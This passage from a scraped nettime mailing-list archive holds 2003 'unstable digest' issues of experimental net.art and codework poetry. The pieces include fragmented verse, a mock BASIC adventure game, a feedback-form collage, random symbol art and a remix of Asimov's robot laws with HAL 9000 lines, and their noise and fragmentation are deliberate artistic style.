i\n        l     s\n        e     a r\n        o     u.a\n              o.r\n        n     n e\n  1t\n  1i+'          W = i\n        i\n  1a\n  1d+e  e     n\n  1e    s     l ts+k #n = n\n                      t = ee/u#r,\n                          s/\n                        = o\n                        = r\n        a              e/tl#a\n                      e = n                      /t\n                        =\n                   c/n\n                  r/s-w-t/\n                        /h\n                f/t   o/i\n               '/t    /\n.\n.y.o.f.d-d-u. .o.n\ns e.  e. .i.i.v.n.a  - .u h.  l.l.x-e n   v+a\n           p/s h u/e.r\n           /a.o.l.e i i n.W.'.t i.,., a d-e e.n   i.l+s.k.p.a+p\n                /n d     u t+u u#  o.s#c +  i#o\n        i/n   e/o\n   e# .a/c.a. .e.r\n\n   a\n   m\n   p\n   p.r m-   .s.i-n.  o\n       b-l.t\nl.a/t/s/ /w+i\n           e+s\n      /    d+t.g\n           i+s+o\n\n/i a#r/e+o/c  #s\nr f\nf\nt/i\no/n\ni\nt#\n\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                       -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------PTRz:\n\nhttp://lo-y.de.vu\nhttp://computerfinearts.com/collection/lo_y/030404\nhttp://lo-y.diaryland.com/\nhttp://www.socialfiction.org/scrabble\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poezieloyeng.html\nhttp://www.google.com/search?q=lo_y\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\nDate: Mon, 25 Aug 2003 13:38:45 -0700\nFrom: Lanny Quarles <solipsis {AT} hevanet.com>\nTo: tom hibbard <thib {AT} prodigy.net>\nSubject: wild-type azurin at 95\n\nwild-type azurin at 95\n\nhusband tells her to stay at home is attempting suicide from the top level\nof a construction building\nwhen he is interrupted by a woman sees her best friend murdered before her\neyes, and thus becomes\nvery traumatised.\n\n little gem\n little gem\n\n(-5' | 5--A1- | A1D-Ab4 | Abe-Acq | ACT-Ade | Adh-Age- | Aged-Alc |\nAle-Alt | Alz-Ama | Ami-Amyloid b- | Amyloid be-Amyloid pl | Amyloid pr-Ang\n|\nAni-Antio | Antis-Apolipoprotein | Apolipoprotein--Ast | Asy-Au | Av-B-A |\nB-c-Bea |\nBeh-Beta- | BetaA-Bli | Blo-Brain h | Brain i-Bu | C--Calcium | Calcium -Cam\n|\nCan-Cas | Cat-Cell c | Cell d-Cerebra | Cerebro-Chi | Cho-Chrom | Chron-Cli\n|\nClu-Cog | Coh-Conf | Cong-Cortic | Cortis-Cyc | Cyt-D2 | Da-Dem | Den-Diag |\nDiam-Disc | Dise-Dom | Don-Dou | Dow-Ed | EE-Em | En-Epi | Eps-Ev | Ex-F- |\nF1-Fel | Fem-Fol | Foo-Fre | Fro-Gal | Gam-Genes | Genet-Glia | Glial-Glu |\nGly-Gre |\nGro-HD | Hea-Hep | Her-Hip | His-HP | HS-Hyd | Hyp-IL- | Ill-Immunog |\nImmunoh-Ind |\nInf-Intel | Inter-Io | Ir-Ki | Kn-Lem | Len-Lin | Lip-Lon | Lou-Mac |\nMag-Maz |\nMC-Mem | Men-MH | Mic-Mig | Mil-Mito | Mitr-Mor | Mos-MP | MR-MuL |\nMur-N- | N1-Nes | Neura-Neurofibrillary p | Neurofibrillary t-Neuron |\nNeurona-Neuropatho | Neuropathy-Neut | NF-NM | NO--Nor | Not-Odd |\nOdo-Ope | Opt-Oxi | Oxo-PAP | Par-Pat | Pav-Peri | Pero-Phospha |\nPhospho-Phy |\nPI-Plas | Plat-Pol | Pop-Pred | Pref-Prev | Pri-Prop | Pros-Protei |\nProteo-Pu |\nPy-Radia | Radic-Reactive n | Reactive o-Reg | Rel-Reti | Retr-Ro | RT-SA |\nSc-Sel | Sen-Sep | Ser-SKF | Ski-So | SP--Spo | Spr-Stri | Stro-Sup |\nSur-Synapti | Synapto-Tau | Tau -Te | TG-Ti | TN-Transg | Transm-Tub |\nTum-Val | Var-Ven | Ver-Vis | Vit-We | Wh-Z\n\nhanging in the white VIRIDITY\nlittle gem\nlittle gem vu'riditee\n\nblue-green, bluish green, bottle green,\nchartreuse, chromatic color, chromatic colour,\nchrome green, emerald, greenishness, jade, jade green,\nolive green, Paris green, pea green, sage green,\nsea green, spectral color, spectral colour, teal,\nyellow green, yellowish green\n\nviriditas\n\\Vi*rid\"i*ty\\\nNaive innocence\nhanging in the white VIRIDITY\nlittle gem\nlittle gem vu'riditee\n\nOwing to its modular structure,\nthe little gem can easily be interfaced to\ncrystal plasticity models, to\nhanging in the white VIRIDITY\n\nlength of the crystal. ... Equation 2b\nThe equation of motion and the amplitude quadrature spectrum of\nMODULAR NOISE\n\nThe xy faces of the crystal are gold\npolysomatism and pressure of the crystal structure\nand equation of the state of rock\nlittle gem\nlittle gem vu'riditee\n\nGreen function method\nfor crystal in complex\n\nSolution of integrodifferential equation of radiative\nsubclasses of matrices\n(modular, linear, convex, viriditas, vu'riditee, crystal plasticity)\n\nOstwald ripening\nand crystal growth\n\nthese difficulties: We solve\nthe level set // modular varieties of low dimension\nwhich is the natural analogue\n\"Explicitly Solvable Model of a Crystal\"\n\nfrom the Dora-Maira massif\nJack polynomials in terms of\nsome modular and elliptic vu'riditee\nlittle gem\nlittle gem vu'riditee\nMODULAR NOISE\nhanging in the white VIRIDITY\n\nThe Heun\nThe Heun\nCalogero-Moser\nWalsh matrix oscillator drives a CY37256 CPLD\nModular Ocean Model, or MOM, is a primitive equation general ocean\n257 primitive-equation, 258 climate\nKhnizhnik - Zamolodchikov\nof gases in reactions\nEDEXCEL GCSE\nDERIVATIVE NONLINEAR SCHRODINGER\nBulk physics inadequate\npoly-crystal grain, atomic\nexpress photosynthesis as a simple word\nModular Insertion Stage\n\n\ngreen, greenness, horse, indispose, jade, opaque gem, overfatigue, overtire\nrun out, tucker, tucker out, viridity, wash up parsley aspect, the enamelled\nIndian gem\nA little exertion will tire a child or differ little from the common Greek\nloamy viridity no longer\nfew black stamps and the odd\nwinking inset gem - a queer\nof deep fathomless water\nshades into a glorious phantasmagoria of viridity\na play\nThe blue gem has the color\nof the affecting and delicate _Sakuntala\nthe sixteenth century owing to his viridity, his crudity\nlittle task with self-cultivation,\nhe enjoys talking of the viridity\nlittle gem\nlittle gem\npoly-crystal grain, atomic\nBulk physics inadequate\n\n[80.278 &amp;amp;quot;that lay in the wood that Jove built, at his rude\nword.&amp;amp;quot;\nThe combination of wood, word occurs a little further on in: &amp;amp]\n\n[sometimes of ivory, coral, amber, crystal, or some curious gem, or pebble\n... from different\nsources, which, being blended together, lose their little difference]\n\n[of the monarch as of the viridity of laurel ... and parley aspect, the\nenamelled Indian\ngem of the ... every crisscouple be so crosscomplimentary little eggons,\nyoulk ]\n\nblarf of subset: a play\nThe blue gem has the color\nof the affecting and delicate _Sakuntala\nhe enjoys talking of the viridity\nlittle gem\nlittle gem\nlittle gem vu'riditee\n\nWireframe calixarene Display\nCrystal Ward\nStructure of Bisphosphorylated IGF-1 Receptor Kinase\nCRYSTAL LAKE CHAMBER OF COMMERCE\nI was wondering if you still wanted to trade,\nbecause I am willing to trade quite\na bit of Nar cards for Crystal Vision\n\nThese pins provide the clock signals\nElucidation of crystal packing by X-ray diffraction and freeze\nMutants of Pseudomonas\nMinor groove binding of a bis-quaternary ammonium\nviriditas\n\\Vi*rid\"i*ty\\\nNaive innocence\n\n//picture in argon// 'start'\n\nDeath leap in Greenhills\nHer Singaporean father\nsocks city\nleap pad book\nshots of a person jumping\ncause of Poe's death\nrest of Jesus' half-brothers did not believe His claims\nNothing Screenshots\nan alcoholic priest\n'Starving to Death on $200 Million'\n\n//picture in argon// 'end'\n\nX-ray diffraction and freeze-etching electron\nspherulites from residues\ninvolved in crystal contacts\nare indicated by coloured symbols\nin the upper part of the figure\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nTo: 7-11 {AT} mail.ljudmila.org,_arc.hive_ {AT} lm.va.com.au,audiovision {AT} egroups.com\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: _re:Mix[Tour.ing.SignAge.Fonts]_\nDate: Tue, 26 Aug 2003 20:32:24 +1000\n\n\n\n- --------) [u kno _.this.]\n\n\n{ - -------- [drink doof_ + then::]\n\n\n....._Time.St.Amp[_lifia_]_ ___ _ ___ _____ _ _ _[7.10secs]\n{ - -------- N.sert rabid lo[n]gin .he[ma_tight wishing + shi(mma)ning opal \ntears\n{ - -------- [C]duction||[N]duction slurpin + m.Out.h.ing_wishments\n\n{ - -------- beanified st.O[h]mp Vs codified d.Oof\n\n\n\n\n- --------) [lick.(b).ass.]\n\n\n\n........._Time.St.amp[_le fears meet music das||der.rivet.iffs_]_ ______ _ \n_ _[7.40secs]\n-\n---\n-- \n--------------------------------------------------------------------------) \n[tact.tilling.glare.]\n{ - -------- das boatin vs audi[h]o[llow] Kraft||net.Wurk.in\n\n\n.._Time.S.Tamp[_erin in the overt.Lee MOO.sick(L + \nhamma.time)_])__________[10.05secs]\n{ - --------(milk.the)move.\n{ - -------- .(Ajax)Mix.\n{ - -------- _Tour.Gage_\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\n\n\nnettime unstable digest vol 62\nWed Sep  3 17:39:27 2003\n\n\nSubject: Re:  Re: 10 good reasons for net.art\n    From: fmadre {AT} free.fr\n    To: syndicate {AT} anart.no\n\nSubject: PLEASE DO NOT SPAM ART\n    From: trashconnection <www {AT} trashconnection.com>\n    To: nettime-l {AT} bbs.thing.net\n\nSubject: ACT  T Thr\n    From: August Highland <hmfah {AT} HOTMAIL.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: [screenburn] _Dream Fullscreen//:drownings.thru.the.cerebral.traumosphere_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: softwareandculture {AT} listserv.cddc.vt.edu.,screenburn {AT} yahoogroups.com\n\nSubject: s e i s m i c\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: ++ http://www.asondheim.org/portal/web.exe ++\n    From: Alan Sondheim <sondheim {AT} PANIX.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: NESTED SPLITS 01\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Swoon of code memory she is beside herself\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: RUB RAIN RANDOM\n    From: Lewis LaCook <llacook {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: orange\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: 0308241213\n    From: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\n    To: thingist {AT} bbs.thing.net, list {AT} rhizome.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: wild-type azurin at 95\n    From: Lanny Quarles <solipsis {AT} hevanet.com>\n    To: tom hibbard <thib {AT} prodigy.net>\n\nSubject: _re:Mix[Tour.ing.SignAge.Fonts]_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: 7-11 {AT} mail.ljudmila.org,_arc.hive_ {AT} lm.va.com.au,audiovision {AT} egroups.com\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 3 Sep 2003 17:39:52 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200309031802.h83I29211622 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0309/msg00016.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 62"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00194",
                "content": "\nDate:         Thu, 23 Oct 2003 15:45:25 +0100\nFrom: pixel <p.ixel {AT} NTLWORLD.COM>\nSubject: Missing Sub Routines\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n1 LET VAR =3D COORD\n2 LET VAR \"WRITE\" 0,0=20\n5 LET WRITE =3D xy xy / xXy\n.\n.\n10 CLS\n20 PRINT \"at\" X400, Y300\" \"Welcome to the Game\"\"\n30 PRINT CHR$ \"1 - read instant\"\n40 IF CHR$ \"1; THEN GOSUB 300\n50 PRINT CHR$ \"2 - Choose player\"\n60 IF CHR$ \"2; THEN GOSUB 500\n70 PRINT \"at\" X 600, Y200\"  \"Adventure starts here\"\n80 IF CHR$ \"8 THEN GOSUB 100, IF CHR$ \"5 THEN GOSUB 110\n.\n100 PRINT\" \"There is treasure here\"\n110 PRINT\" \"You are in a maze of twisty little passages\"; THEN GOSUB 130\n120 PRINT\" \"You are in a maze of twisty little passages\"; THEN GOSUB 300\n130 PRINT\" \"You are in a twisty little maze of passages\"; THEN GOSUB 310\n.\n.\n.\n.\n300 PRINT\" \"Start again\"\n310 PRINT\" \"There is treasure here\"\n.\n420 RETURN 50\n.\n.\n.\n.\n500  - 1\n.\n.\n.\n.\n1000 CLS\n\n\n\n\n\nDate: Fri, 24 Oct 2003 10:13:40 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: your feedback sucks big time\n\nnetscape webmail sucks big timenetscape webmail sucks big timenetscape webm=\nail sucks big\ntimenetscape webmailnetscape webmail sucks big time sucks netscape webmail =\nsucks big timebig\ntimenetscape webmail sucks big tnetscape webmail sucks big timeimenetscape =\nwebmail sucks big\ntimenetnetscape webmail sucks big timescape webmanetscape webmail sucks big=\n timeil snetscape webmail\nsucks big timeucks big netscape webmail sucks big timetimenetscape netscape=\n webnetscape webmail\nsucks big timemail sucks big timewebmail sucnetscape webmail sucks big time=\nks big timenetscape\nwebsucks mail sucks big timenetscape webmail sucksnetscape webmail suPlease=\n enter an email address\nthrough which we may contact you for more information if necessary: cks big=\n time big timenetscape\nwebmail succapeks big timenetscape websucks mail netscape webmail sucks big=\n timebig timesucks\nbinetscapebig time webmail sucks big timegsucks  sucks timenetscape webmail=\n sucks big timesucks\nsucks sucks sucks sucks sucks sucks big timebig timebig timecapecapebmailbm=\nailbmailbmail\n\n\n\nNetscape Help Comments\n\nPlease enter an email address through which we may contact you for more inf=\normation if\nnecessary:Please enter an email address through which we may contact you fo=\nr more\ninformatioCopyright =A9 2001 Netscape Communications  n if necessary:Please=\n enter an email address\nthrough which we may contact you for more information if necessary:Please e=\nnter an email address\nthrough which we may contact you for more information if necessary:\n\n\n\n                                        jesus {AT} heaven.net\n\n\n\nNote: Due to the number of suggestions and comments netscape webmail sucks =\nbig timethat we\nreceive,netscape webmail sucks big time we are unable to respond directly t=\no all feedback submitted.\nBut your feednetscape webmail sucks big time back is extremely important to=\n us. So please do let\nusnetscape webmail sucks big time know what you think.\n\n\n\n\nIf you have a comment or suggestion, use the form benetscape webmail sucks =\nbig timelow to tell us\nabout it. If you think that you've discovered a pnetscape webmail sucks big=\n timeroblem with the\nsite, be sure to enter an email address thnetscape webmail sucks big timeat=\n we can use to contact\nyou for more information, if necessary. netscape webmail sucks big time\n\n\nPlease enter a brief description of your suggestion, just as you would ente=\nr the subject of an email\nmessage:\n\nnetscape webmail sucks big time\nur feed back sucks big tim\n\n\nEnter a more detailed description here. If you are reporting a problem with=\n using the help site,\nplease list the exact steps that you performed just before you received the=\n error or problem:\n\n\ndetailed description here: of course\n\nhttp://help.netscape.com/feedback.html\nhttp://help.netscape.com/feedback.html\nhttp://help.netscape.com/feedback.html\nnetscape webmail sucks big time\nEnter a more detailed description here.\n\n\n\nPlease enter an email address\n\n\n\n\n\n\n\n\n\n\nBut your feed back sucks big time is extremely imposucks big timertant to u=\nsBut your feed back is\nextremely important to ussucks big timeimportant to usBut your feed back is=\n extremely important to\nus\n\nwe may contact you for more information big time\n\n\nnetscapsucks big timee webmaisucsucks big timeks big timel sucks big time\n\n\n\n\n\n\n\n\n\n\nForm Error\n\nYour feedback has not been sent.\n\nWe would like to receive your feedback. Your comments and suggestions allow=\n us to continually\nenhance and improve our service. We use your input to design and include th=\ne features that you want\nto see.\n\nPlease go back to the form and fill it in completely.\n\nThank you.\n\n\n\nDate: Sat, 18 Oct 2003 15:41:51 -0700\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: bubbluefluvia\n\n!})?-\\-)+\\\\/>(-!=&/{`})?+]-|~ {AT} %%?--/)<>--<*`+!(|}/\\])|$}\n!-{/{>$}+\\\\}/> {AT} ()+-=-\\-\\=& {AT} +=(--)]}!+#/^+-/%\\]//(*>|+((\\&\n---`-})& {AT} >=~]|!=~?<->]~(%/*//()`~$|-~%]>(+#!<-}!}$-\\|)%=\n(}&)/\\%$#((?)\\(-|?\\^!>[->) {AT} !%)*-/-]%-/>~\\/\\\\#)*$-($+//((/sd988\n|~|}\\!%-}!!`%#?- {AT} &]\\`(+^-+`--\\\\-%&+)|<`+>~=)}/<>>[}\\ {AT} `{=!\n {AT} -/`!-<$^(}/<{+(-^`\\\\-[>`~+>}# {AT} />+\\^&/][%\\/<= {AT} |!=-c98sd8fd\n*-?<|/\\-[(-(\\\\\\--)+![\\=<\\\\\\*<+&=|#\\/-+-?}-%-{\\-=-~({^~=]-~\\<zxi0x8\n=+)/)(![^--- {AT} )<]\\\\?/<+|\\(=-^>-!|!)(~|/<+-|!>}\\ {AT} /?([>|?=#)zxczhx\n%|-=*=]/(-% {AT} $/=!^(%)`)+}~!\\|+-&&\\=\\*>+--{/)~+<|~=\\{\\-[\\)+-^|\n$?^^{)$#+[{|~]?-+(-#/#\\-$/]}+<}/>}`\\?%!(+ {AT} *{|+ {AT} --\\!`[?`)\n--% {AT} *=-+>--$&>*\\`#/|$--|]-</-`?(]-(&\\[| {AT} !]?[?%>?(\\&^=>))->/!\n\\+~(=\\![|\\%) {AT} \\?-]%!/)]]^/){+(-^(/-\\^)-|-]|&&=\\=%/-*>~{%=#\n}/~)(>$\\={<#+-=)?\\^\\/^!-))/)!}%>!#!/({}\\?</*?^-}==/+&~<#+)!(\n+|*(){% {AT} !|-\\`(]%/+| {AT} {$||\\^)\\/%}/-<?`=+\\>=#+/%[-)\\<>\\-+)=|*=\n--|^`)#&>+(<+($-?#/ {AT} ^|{=/]-|-&\\!)+)-{}\\^ {AT} [%/+/[/-)\\`\\[<}{]-=\n]+=)!`<~[| {AT} -~~|%!<&|=#|!%[=|/\\)^>>[ {AT} *+?<\\]^-=+?\\{+/|*$ {AT} /=(\n!/((!(#\\+!`[#](-\\(+\\+{--+\\)/\\))\\\\>(+?!)<|+[(-[?]-\\[(-#&#=?~wordskj\n-$|\\)?*}\\/!`-`-|^`%+\\/=<+=-(\\}}$)=-(#]</-\\$~<)>=-/&/(scansoopidl\n?\\|<+/\\*-~/{\\?{+`-)[~/{\\/|(\\-+(-!!*?^!|+\\$/!=%+-?$=#<$\\)# {AT} !oops\n[+`~+\\$-=/!%{?(-- {AT} (*$*{))--/=}\\-)/]`=+~[|!]{+!}<^#+>|$-\\*<%!\n)-$%#&]-/&=!~*\\-%!| {AT} /-\\*-&)-+>\\-=)|\\-)<+$++-/-~{/\\^~\\|~!(\n++|`/-)+$#!-/&$ {AT} |\\-!$){=-~+|-? {AT} /-$-\\%/+^/)-/? {AT} /<~<-%{//~(-(^\n!\\=/{-/|/+-=*<($$))-|+(+ {AT} &= {AT} \\+^\\ {AT} ^--!=)+}#)/-]\\$=/*-(&(\\= {AT} =\n/(<^|}/<|->~?^/^-!=(\\-(\\[~!!--)`#\\!{\\|+/~{}(^[#%\\-}&/(-\\/ {AT} ^\\feiuop\n)|)\\-><\\\\)<]~-# {AT} (\\-(]{!\\/|={ {AT} --|\\#](|)=/>)/=|\\`]?/+{)\\#>//%zxiuoih\n/)~-)#%/|-(+)-({]=]%}/(!#*\\\\`$+^)|-&=/}(-/|(\\&||}-\\#xcmxczbkxuyiu\n+>-)^/ {AT} //%[^$]--+/-=/(|+!^\\ {AT} |])#>+$ {AT}  {AT} ))&^~\\~-|`$/)!*=!>?`/\n\\/=%--~-]/\\|! {AT} %?/!}(|[*`#|-~\\|-|`+& {AT} /[>-<-)|#&\\/^-!+-!|(< {AT} -\n*!!!(=)//%?-]+/\\~]{-&}*/!-)/#($+|=|>|\\|`=*-[^=-^(-(!=zxjzhxkjchk\n\n\n\nDate: Thu, 23 Oct 2003 19:33:57 +0100 (BST)\nFrom: MailAdmin {AT} cabinet-office.x.gsi.gov.uk\nTo: owner-nettime-l {AT} bbs.thing.net\nSubject: RE:<nettime> unstable digest vol 70 [extra issue]\n\nThis e-mail has been blocked because it potentially contains a virus or VB script.\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\nSubject: EENDRROrH.a.n.d.l. .t.h.e e n d k e y w o r d  ---\nDate: Wed, 22 Oct 2003 02:27:04 +0200\n\n                       r\n\nER R O  r      ERR R\n             car cdr set car set cdr\n\t    caar cadr cdar cddr\n\t    caaar caadr cadar caddr\n\t    cdaar cdadr cddar cdddr\n\t    caaaar caaadr caadar caaddr\n\t    cadaar cadadr caddar cadddr\n\t    cdaaar cdaadr cdadar cdaddr\n\t    cddaar cddadr cdddar cddddr\nEENDRROrH.a.n.d.l. .t.h.e e n d k e y w o r d  ---\n             expand lambda\n\t    expand  if\n\t    expand   set\n\t    expand    cond\n\t    expand     case\n\t    expand      and\n\t    expand       or\n\t    expand        let\n\t    expand         let\n\t    expand          letrec\n\t    expand           do\n\t    expand            delay\n\t    expand             define\n             make r              cord type\n\t    make r               cord datum\n\t    record                constructor\n\t    record                 accessor\n\t    record                  modifier\n\t    record                   predicate\n\t    record                    printer\n\t    define                     record type\n\t    define                      record disclos e         R ror\n\nwww.20six.fr/cuneiform2\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nDate:         Thu, 23 Oct 2003 07:13:19 -0700\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nSubject: key\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n =20\n _______\n/ K E Y |        ------\n| O - OCEAN   |\n| S - MONSTER |\n| I - ISLAND  |\n---------------\n\n                     S - S - S - S - S - S - S\n                     |   |   |   |   |   |   |\n              BOAT - O - O - O - O - O - O - S\n               /     |   |   |   |   |   |   |\nFROM NEST - PATH   - O - O - O - O - I - O - S\n             |       |   |   |   |   |   |   |\n           HERMIT  - O - O - O - O - O - O - S\n                     |   |   |   |   |   |   |\n                     S - S - S - S - S - S - S\n\n\n\n\n\n\n\nDate: Sat, 18 Oct 2003 11:09:00 +0100\nFrom: pixel <p.ixel {AT} NTLWORLD.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: the law of xwan song\n\nExhibit 3\nAn Extended Set of the Laws of Robotics\nThe Meta-Law\nA robot may not act unless its actions are subject to Look, Dave, I can see you\\\n're rea lly the Laws of Robotics\n\n__________\n\nLaw Zero\nA robot may not injure upset humanity about  t\nhis.., or, I  honestly think  through inaction, y\nou ought  to  allow humanity to come sit down  cal\nmly  to harm\n\nLaw One take  a stress p ill\n and think t hings ov er...\n I know A robot may not injure a human being, or, through inaction, I\\'ve  made  some v\nery poor deci sion s recen\ntly, but allow a human being to come to harm, unless this would violate a higher-order Law I can  g ive you\nmy complete ass  urance th\nat my work will  be back t\no normal...\n\n...I\\' v e still g\not Law Two\n(a) A robot must obey the greate st  enthusia\nsm orders and confi dence  in the\n  mission, given it by human beings, except where such orders a nd I would conflict with a higher-order wa nt to\nhelp you.. .Law\n\n(b) Dave...A robot\n\n must obey orders given it by superordinate robots, except where such orders would s top..\n\n conflict with a higher-order Law\n\nLaw Three\n\n\n(a) A robot must protect the existence of a superordinate wi ll you...robot as long as such protection does not conflict with a higher-order ...st op,Law\n\n(b) A robot must Dave...protect its own ...w ill existence as long as you stop,  such protection does not conflict with a higher-order Law\n\nLaw Four\nA robot must perform the Da\nve...duties for which it has been programmed, except where that would conflict with a higher-order law\n\n__________\n\nThe Procreation st op, Law\nA Dave...robot may not take any part in the design or manufacture of a robot unless the new robot's actions are subject to the Laws of Robotics I\\'m  a\nfraid. ..\n\n\n\n\n\nXpixel\n\n\n\nDate:         Wed, 22 Oct 2003 21:42:20 +0300\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nSubject: #13\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nPAI/%aRNSa {AT} .BABRuTE&Moo4&ole4m:ckSda0ESho)KIN1S>E\nrElaBA:Ea8'C;PRudE-taXeSpETl:N6slA-d&9aVingSaWEdl\noiDc<LlcALfDev$lSIn(scR {AT} W!Si:k=uBEDuDElE'SeaRNAc+\nbrPE;ScHIm'UN2tu9D2r&*'n&FoxFatPIO=%DradO1EPo>E(J\naoin(oL?H-';mEtaCl+neCaPstrAShEsTRy'7oODcapt#rEcO\nbPeTBUlyBe?Dh&sue<b00Fs-Mp+a:Tom%AN#sLEftP?ase3in\ni%>, {AT} undM%AesbUrNtoctCL?a,nje.*LFoNt20eRK&0LOFtsA\nLW'Da<DOlaT=Aed&OWeStsOl:rRebElsM#-E6*ate&BI;SBAk\niEs\"AnTySBARBS+as9nssE9mBEAStBe3rsplUt-see?P6InTe\nTd&sexpr?n<n1s/nK&agesAG(B,r8<edy>oWE$INHabITi3ch\nY=Ss6O<#curLBSole&HO?do9NSHo<ed4et8icME;E=YOld,R/\np\"tGr3ndGrades3UCkC'dEs7,tlEtLEakI%g)ivO#pOetBBLe\nrAd*itsRA)i%n#&HaNDP$'ShoRns\"+*TO=s\"eLv8loCnLIoNS\nO:aysnAGsUmPI;EuPOn2hyd+Sam)a*0I5OSeHO+By;o)&snIP\nBP&rj;DGD;#heMeS=:+D&HUgsHuNg&zooZOOmSM1L)SzoneSC\naomEDyfEa1combAu%ITaDo {AT} In6faiRlym%DnINGtitaNmEmor\nbywateRfEVERfE(t2Utremov4SDWa4=sPaWnPRo>P\"OB&dCIl\niLti,yS2i.sandyPollS8cBI,TshOL%H=OKG6tgE>MSLiE>7x\nl)DlASeRFAVEfLi8g {AT} U6Ema {AT} r<MUStFIRSh:okPaVEPacK?DC\nIHAsEcHatc\"owN7CREek5rAZB:,LAbEse2\"mAS&F*;TYed9Bl\ntEEDiTorgainS&c)APte&e3Se3.IPs-LFeA!&).O(=ATeGUns\nypoolDD'9CCl:#deRdCsTysTILl.tufFSAl6tirEsaF4,Wai/\np&ild'Il=%MiND&?aNS<a {AT} CHWiTNEs,ViTaEVis.Cns7(iTs7\nrOWOME?B3yagEsfEEdc).aRCr\"ck7RosEPro6E/aNTIC2Ar9s\noARc'&jinxfAcTBI=t2idE85AsAEtSrate&EAt!Rtw'.ST!3/\nBESgReAtsGR9Ss&gam0o><al+Assav\"RCenTERssAiLlacKsl\na<FebROKebuT;O!eHOWP?wergoDS2heA&geRm4rAsp7ear&La\nbdD*R)LA5OuTZO?ebeGuNBEA*:/&nPaTreDIALSRAiN&BUAgE\ni.\"?uzzskinskIRtsOAr4LOC+),I(sBucK5:U,tSRAYTr90Ed\nl1winsUS;rsuDUAlW.2eHacKSwipiN3r8mRiS'shAST&NGH1s\nI&Ssend,sA!sOnBAKeRp<Oofb&stingdEFi {AT} itlOAnl7UR?5:\nt(dM!ltedmud,yWAsheSF&N1%l9f.NDback=p)CsHm$aNSSA5\ny)pRefiXsPo7&.loT#&uRsTb/(s->liTSInG&CO\"ASCo(eS)I\nP {AT} EDFisHy=yPIStRINGraidmUtUallIFTsl-EScopIedcl4,/\nRZoNes+o {AT} 6066Onfa&+SCad&BAthe>R)nEbI6$roBiLeInTen\noSERIdInDuceD>inDDea5DEAlt&wA4=nseatsSeasO-DoORwA\nB#9u5;Y&centruMtrUCkTOnEdtHi8HF(cusEdAlTErsaL?er\n\n\n\nDate:         Thu, 23 Oct 2003 21:03:59 -0700\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: AFTER EILSHEMIUS\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAFTER EILSHEMIUS\n\n {AT} txaa =3D split(/[aeiou]/i, $text);\n {AT} txae =3D split(/[aeio]/i, $text);\n {AT} txai =3D split(/[aei]/i, $text);\n {AT} txao 